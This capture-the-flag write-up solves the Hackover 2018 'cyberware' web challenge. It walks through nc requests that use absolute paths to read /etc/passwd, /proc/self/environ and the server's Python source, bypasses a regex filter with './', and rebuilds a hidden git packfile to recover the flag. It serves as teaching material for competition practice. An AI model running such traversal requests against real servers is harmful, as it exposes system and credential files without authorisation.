Tags: directory-traversal git 

Rating: 5.0

*([Original write-up](https://security.meta.stackexchange.com/a/3087/95381) by [@rawsec](https://twitter.com/rawsec/))*

## cyberware (web, 416)

We get a very basic web app that hosts some text files. Clicking on them in the browser doesn't get us anywhere (later, we'll find out that this is because the app detects and disallows referrers). So, let's use `curl`:

$ curl -v "http://cyberware.ctf.hackover.de:1337/cat.txt"
...
< HTTP/1.1 200 Yippie
< Server: Linux/cyber
< Date: Sun, 07 Oct 2018 21:04:46 GMT
< Content-type: text/cyber
< Content-length: 165
<

       ____
(. \
\ |
\ |___(\--/)
__/ ( . . )
"'._. '-.O.'
'-. \ "|\
'.,,/'.,,

Awww! Now, one of the usual things to try with custom web apps is directory traversals. Note that we can't use curl here because it rewrites paths before sending them. So let's get raw:

$ echo "GET /../ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 403 You shall not list!

Ha, it seems to be handling the parent directory but disallows listing. What about absolute paths?

$ echo "GET //etc/passwd HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:1000:1000::/home/ctf:

Awesome, now how do we find interesting files from here? On Linux, the `procfs` can give us some information about the environment:

$ echo "GET //proc/self/cmdline HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
/usr/bin/python3./cyberserver.py

$ echo "GET //proc/self/environ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7c26257684d8TERM=xtermHOME=/home/ctf

Seems like the server file is called `cyberserver.py`. Let's try to fetch it directly from home:

$ echo "GET //home/ctf/cyberserver.py HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
#!/usr/bin/python3
from threading import Thread
from sys import argv
from sys import getsizeof
from time import sleep
from socketserver import ThreadingMixIn
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer
from re import search
from os.path import exists
from os.path import isdir

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass

class CyberServer(SimpleHTTPRequestHandler):
def version_string(self):
return f'Linux/cyber'

def do_GET(self):
self.protocol_version = 'HTTP/1.1'

referer = self.headers.get('Referer')
path = self.path[1:] or ''

if referer:
self.send_response(412, 'referer sucks')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

if not path:
self.send_response(200, 'cyber cat')
self.send_header('Content-type', 'text/html')
self.end_headers()
for animal in ['cat', 'fox', 'kangaroo', 'sheep']:
self.wfile.write("{0}.txt
"
.format(animal).encode())
return

if path.endswith('/'):
self.send_response(403, 'You shall not list!')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

if path.startswith('.'):
self.send_response(403, 'Dots are evil')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

if path.startswith('flag.git') or search('\\w+/flag.git', path):
self.send_response(403, 'U NO POWER')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

if not exists(path):
self.send_response(404, 'Cyber not found')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

if isdir(path):
self.send_response(406, 'Cyberdir not accaptable')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return

try:
with open(path, 'rb') as f:
content = f.read()

self.send_response(200, 'Yippie')
self.send_header('Content-type', 'text/cyber')
self.send_header('Content-length', getsizeof(content))
self.end_headers()
self.wfile.write(content)
except Exception:
self.send_response(500, 'Cyber alert')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write("Cyber explosion: {}"
.format(path).encode())

class CyberServerThread(Thread):
server = None

def __init__(self, host, port):
Thread.__init__(self)
self.server = ThreadingSimpleServer((host, port), CyberServer)

def run(self):
self.server.serve_forever()
return

def main(host, port):
print(f"Starting cyberware at {host}:{port}")
cyberProtector = CyberServerThread(host, port)
cyberProtector.server.shutdown
cyberProtector.daemon = True
cyberProtector.start()
while True:
sleep(1)

if __name__ == "__main__":
host = "0.0.0.0"
port = 1337
if len(argv) >= 2:
host = argv[1]
if len(argv) >= 3:
port = int(argv[3])
main(host, port)

Important things we find in that web server implementation are:

- Paths can't start with `.`
- Paths can't end with `/`
- There is a restriction for a path with `path.startswith('flag.git') or search('\\w+/flag.git', path)`

So it looks like we need to get into that `flag.git/` dir!

$ echo "GET //home/ctf/flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 403 U NO POWER

Uh-oh, access denied! But we can simply bypass that `\w+/flag.git` regex. because putting a `./` inside the path doesn't change the location but a `.` doesn't match `\w`:

$ echo "GET //home/ctf/./flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 406 Cyberdir not accaptable

Well, no directory listing. But the `.git` ending seems to indicate it's a git meta directory. So, let's try to extract some common files you may find in a `.git/` dir:

File `/flag.git/HEAD`:

ref: refs/heads/master

File `/flag.git/refs/heads/master`:

b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a

Now, we can't just extract all git objects without knowing their locations, but we just discovered an object hash, so we *should* be able to download it.

$ echo "GET //home/ctf/./flag.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 404 Cyber not found

Odd! Usually, objects are in `.git/objects/`, but we can't locate that one. Let's dig a little more...

`/flag.git/COMMIT_EDITMSG`:

better delete everything ... so its safe
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
# Explicit paths specified without -i or -o; assuming --only paths...
# On branch master
# Changes to be committed:
# deleted: ups
#
# ------------------------ >8 ------------------------
# Do not touch the line above.
# Everything below will be removed.
diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

Okay, so they deleted a file called `ups`, so we can't locate that either. But there's another mechanism for git to store objects -- [packfiles](https://git-scm.com/book/en/v2/Git-Internals-Packfiles)! Packfiles are a great feature because compressing (and storing only diffs instead of all file versions) helps git to keep the footprint small. Let's see if there are any packs:

File `/flag.git/objects/info/packs`:

P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

Nice, there's a packfile and we can conclude where it's located, so we can download the `.pack` and the corresponding index file:

/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.idx

But since they aren't plaintext we can't just read them. So let's make a dummy repo for them:

$ mkdir /tmp/foo
$ cd /tmp/foo
/tmp/foo $ git init

Copy the downloaded packfiles into it:

/tmp/foo $ cp ~/downloads/pack.pack ~/downloads/pack.idx .git/objects/pack

Now, of course, the indexing etc. in our dummy repo is all messed up, so let's just use the tool [`git-repair`](https://git-repair.branchable.com/) to fix all those references.

/tmp/foo $ git-repair
Running git fsck ...
Unpacking all pack files.
Unpacking objects: 100% (15/15), done.

Successfully recovered repository!
You should run "git fsck" to make sure, but it looks like everything was recovered ok.

Let's verify:

/tmp/foo $ git fsck

notice: HEAD points to an unborn branch (master)
Checking object directories: 100% (256/256), done.
notice: No default references
dangling commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e
dangling commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a

Uh, we have dangling commits? Let's have a look...

/tmp/foo $ git branch dangling dd9ebcb882411a06c33ea9d8e4246acf70e7372e
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2

commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e (HEAD -> dangling)
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:18 2016 +0200

better delete everything ... so its safe

diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

commit c0e01b58327e785a581c32b97e639014aef0f31e
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:02 2016 +0200

ups did not happen. hide secret again

diff --git a/hackover16{Cyb3rw4hr_pl5_n0_taR} b/ups
similarity index 100%
rename from hackover16{Cyb3rw4hr_pl5_n0_taR}
rename to ups

A `hackover16` fake flag? What's wrong with these guys... Let's check the other one then:

/tmp/foo $ git branch dangling2 b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2

commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a (HEAD -> dangling2)
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:18 2016 +0200

better delete everything ... so its safe

diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency

commit 19f882c9ad7aec1e682511525cc43e271896ae9e
Author: CyberControlCenter <[email protected]>
Date: Thu Sep 27 22:11:38 2018 +0200

ups did not happen. hide secret again

diff --git a/hackover18{Cyb3rw4r3_f0r_Th3_w1N} b/ups
similarity index 100%
rename from hackover18{Cyb3rw4r3_f0r_Th3_w1N}
rename to ups

There we go, in the verbose logs we can find that the file `ups` had once been renamed from:

hackover18{Cyb3rw4r3_f0r_Th3_w1N}